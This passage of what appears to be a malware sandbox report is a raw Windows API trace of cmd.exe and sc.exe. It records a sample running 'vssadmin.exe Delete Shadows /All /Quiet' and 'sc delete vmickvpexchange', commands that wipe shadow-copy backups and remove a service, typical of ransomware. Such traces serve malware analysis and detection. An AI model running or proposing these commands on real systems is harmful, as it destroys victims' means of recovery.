_String2="CALL") returned 19 [0074.203] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0074.203] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0074.203] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0074.203] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0074.203] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0074.203] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0074.203] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0074.203] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0074.203] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0074.203] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0074.203] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0074.203] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0074.203] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0074.203] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0074.203] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0074.203] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0074.203] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0074.203] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0074.203] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0074.203] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0074.203] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0074.203] GetProcessHeap () returned 0x4a0000 [0074.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0074.204] GetProcessHeap () returned 0x4a0000 [0074.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x62) returned 0x4bba10 [0074.204] GetProcessHeap () returned 0x4a0000 [0074.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0074.204] SetErrorMode (uMode=0x0) returned 0x1 [0074.204] SetErrorMode (uMode=0x1) returned 0x0 [0074.204] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0074.204] SetErrorMode (uMode=0x1) returned 0x1 [0074.204] GetProcessHeap () returned 0x4a0000 [0074.204] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x76) returned 0x4bc5b0 [0074.204] GetProcessHeap () returned 0x4a0000 [0074.204] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x76 [0074.204] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0074.204] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0074.204] GetProcessHeap () returned 0x4a0000 [0074.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0074.204] GetProcessHeap () returned 0x4a0000 [0074.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0074.204] GetProcessHeap () returned 0x4a0000 [0074.204] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0074.204] GetProcessHeap () returned 0x4a0000 [0074.204] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0074.204] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0074.204] GetProcessHeap () returned 0x4a0000 [0074.205] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0074.205] GetProcessHeap () returned 0x4a0000 [0074.205] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0074.205] GetProcessHeap () returned 0x4a0000 [0074.205] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0074.205] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.205] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0074.205] GetLastError () returned 0x2 [0074.205] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0074.205] GetLastError () returned 0x2 [0074.205] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0074.206] GetLastError () returned 0x2 [0074.206] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0074.206] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0074.206] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0074.206] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.206] GetProcessHeap () returned 0x4a0000 [0074.206] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0074.206] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0074.206] GetProcessHeap () returned 0x4a0000 [0074.206] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xc8) returned 0x4b9180 [0074.207] GetProcessHeap () returned 0x4a0000 [0074.207] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xc8 [0074.207] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin.exe Delete Shadows /All /Quiet") returned 1 [0074.207] GetProcessHeap () returned 0x4a0000 [0074.207] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0074.207] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0074.207] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0074.207] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0074.207] GetProcessHeap () returned 0x4a0000 [0074.207] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0074.207] GetProcessHeap () returned 0x4a0000 [0074.207] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0074.207] GetProcessHeap () returned 0x4a0000 [0074.207] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89b0 [0074.207] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin.exe Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin.exe Delete Shadows /All /Quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="vssadmin.exe Delete Shadows /All /Quiet", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0xa98, dwThreadId=0x36c)) returned 1 [0074.222] CloseHandle (hObject=0x50) returned 1 [0074.222] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0074.222] GetProcessHeap () returned 0x4a0000 [0074.222] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0074.222] GetEnvironmentStringsW () returned 0x4bba90* [0074.222] GetProcessHeap () returned 0x4a0000 [0074.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0074.222] FreeEnvironmentStringsW (penv=0x4bba90) returned 1 [0074.222] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0074.222] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdd000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0074.223] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0126.899] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x0) returned 1 [0126.900] CloseHandle (hObject=0x54) returned 1 [0126.900] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000000") returned 8 [0126.900] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0126.900] GetProcessHeap () returned 0x4a0000 [0126.900] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0126.900] GetEnvironmentStringsW () returned 0x4c1b10* [0126.900] GetProcessHeap () returned 0x4a0000 [0126.900] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0126.900] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0126.901] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0126.901] GetProcessHeap () returned 0x4a0000 [0126.901] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0126.901] GetEnvironmentStringsW () returned 0x4bba90* [0126.901] GetProcessHeap () returned 0x4a0000 [0126.901] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0126.901] FreeEnvironmentStringsW (penv=0x4bba90) returned 1 [0126.901] GetProcessHeap () returned 0x4a0000 [0126.901] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0126.901] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0126.901] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0126.902] _get_osfhandle (_FileHandle=1) returned 0x120 [0126.902] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0126.902] _get_osfhandle (_FileHandle=1) returned 0x120 [0126.902] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0126.902] _get_osfhandle (_FileHandle=0) returned 0xb8 [0126.902] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0126.903] GetConsoleOutputCP () returned 0x1b5 [0126.903] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0126.903] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0126.903] GetProcessHeap () returned 0x4a0000 [0126.903] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0126.903] GetProcessHeap () returned 0x4a0000 [0126.903] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0126.903] GetProcessHeap () returned 0x4a0000 [0126.903] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0126.903] GetProcessHeap () returned 0x4a0000 [0126.903] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0126.903] GetProcessHeap () returned 0x4a0000 [0126.904] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0126.904] GetProcessHeap () returned 0x4a0000 [0126.904] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0126.904] GetProcessHeap () returned 0x4a0000 [0126.904] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0126.904] GetProcessHeap () returned 0x4a0000 [0126.904] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0126.904] GetProcessHeap () returned 0x4a0000 [0126.904] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0126.904] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0126.904] _get_osfhandle (_FileHandle=1) returned 0x120 [0126.904] GetFileType (hFile=0x120) returned 0x3 [0126.904] _get_osfhandle (_FileHandle=1) returned 0x120 [0126.904] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0126.904] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0126.904] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0126.904] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0126.905] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0126.905] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0126.905] _get_osfhandle (_FileHandle=1) returned 0x120 [0126.905] GetFileType (hFile=0x120) returned 0x3 [0126.905] _get_osfhandle (_FileHandle=1) returned 0x120 [0126.905] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0126.905] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0126.905] _get_osfhandle (_FileHandle=0) returned 0xb8 [0126.905] GetFileType (hFile=0xb8) returned 0x3 [0126.905] _get_osfhandle (_FileHandle=0) returned 0xb8 [0126.905] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.906] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0126.906] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="essadmin.exe Delete Shadows /All /Quiet\n") returned 1 [0126.906] _get_osfhandle (_FileHandle=0) returned 0xb8 [0126.906] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.906] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0126.906] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="xsadmin.exe Delete Shadows /All /Quiet\n") returned 1 [0126.906] _get_osfhandle (_FileHandle=0) returned 0xb8 [0126.906] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.906] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0126.906] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr="iadmin.exe Delete Shadows /All /Quiet\n") returned 1 [0126.906] _get_osfhandle (_FileHandle=0) returned 0xb8 [0126.906] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.906] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0126.906] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="tdmin.exe Delete Shadows /All /Quiet\n") returned 1 [0126.906] _get_osfhandle (_FileHandle=0) returned 0xb8 [0126.906] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.906] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0126.906] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="\nmin.exe Delete Shadows /All /Quiet\n") returned 1 [0126.906] _get_osfhandle (_FileHandle=0) returned 0xb8 [0126.907] GetFileType (hFile=0xb8) returned 0x3 [0126.907] _get_osfhandle (_FileHandle=0) returned 0xb8 [0126.907] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.907] _get_osfhandle (_FileHandle=1) returned 0x120 [0126.907] GetFileType (hFile=0x120) returned 0x3 [0126.907] _get_osfhandle (_FileHandle=1) returned 0x120 [0126.907] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="exit\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exit\n", lpUsedDefaultChar=0x0) returned 6 [0126.907] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x5, lpOverlapped=0x0) returned 1 [0126.907] GetProcessHeap () returned 0x4a0000 [0126.907] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4e8630 [0126.907] GetProcessHeap () returned 0x4a0000 [0126.907] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8630 | out: hHeap=0x4a0000) returned 1 [0126.907] GetProcessHeap () returned 0x4a0000 [0126.907] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0126.907] GetProcessHeap () returned 0x4a0000 [0126.907] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x1a) returned 0x4b4610 [0126.907] GetConsoleOutputCP () returned 0x1b5 [0126.908] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0126.908] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0126.908] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0126.908] GetProcessHeap () returned 0x4a0000 [0126.908] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x14) returned 0x4b89b0 [0126.908] GetProcessHeap () returned 0x4a0000 [0126.908] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x1a) returned 0x4b4640 [0126.908] GetProcessHeap () returned 0x4a0000 [0126.908] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9910 [0126.908] GetConsoleTitleW (in: lpConsoleTitle=0x4b9920, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0126.908] GetProcessHeap () returned 0x4a0000 [0126.908] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9910, Size=0x80) returned 0x4b9910 [0126.908] GetProcessHeap () returned 0x4a0000 [0126.909] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9910) returned 0x80 [0126.909] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - exit") returned 1 [0126.909] GetProcessHeap () returned 0x4a0000 [0126.909] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0126.909] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0126.910] exit (_Code=0) Process: id = "4" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x40cc0000" os_pid = "0x5d8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete vmickvpexchange" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 5 os_tid = 0x484 [0067.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10fdf0 | out: lpSystemTimeAsFileTime=0x10fdf0*(dwLowDateTime=0x4084a9f0, dwHighDateTime=0x1d62774)) [0067.001] GetCurrentProcessId () returned 0x5d8 [0067.001] GetCurrentThreadId () returned 0x484 [0067.001] GetTickCount () returned 0x114869e [0067.001] QueryPerformanceCounter (in: lpPerformanceCount=0x10fdf8 | out: lpPerformanceCount=0x10fdf8*=18667638913) returned 1 [0067.001] GetModuleHandleW (lpModuleName=0x0) returned 0xff740000 [0067.001] __set_app_type (_Type=0x1) [0067.001] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff747228) returned 0x0 [0067.001] __wgetmainargs (in: _Argc=0xff74b604, _Argv=0xff74b610, _Env=0xff74b608, _DoWildCard=0, _StartInfo=0xff74b050 | out: _Argc=0xff74b604, _Argv=0xff74b610, _Env=0xff74b608) returned 0 [0067.002] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.004] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.004] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0067.005] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0067.005] _wcsicmp (_String1="delete", _String2="query") returned -13 [0067.005] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0067.005] _wcsicmp (_String1="delete", _String2="start") returned -15 [0067.005] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0067.005] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0067.005] _wcsicmp (_String1="delete", _String2="control") returned 1 [0067.005] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0067.005] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0067.005] _wcsicmp (_String1="delete", _String2="config") returned 1 [0067.005] _wcsicmp (_String1="delete", _String2="description") returned -7 [0067.005] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0067.005] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0067.005] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0067.005] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0067.005] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0067.005] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0067.005] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0067.005] _wcsicmp (_String1="delete", 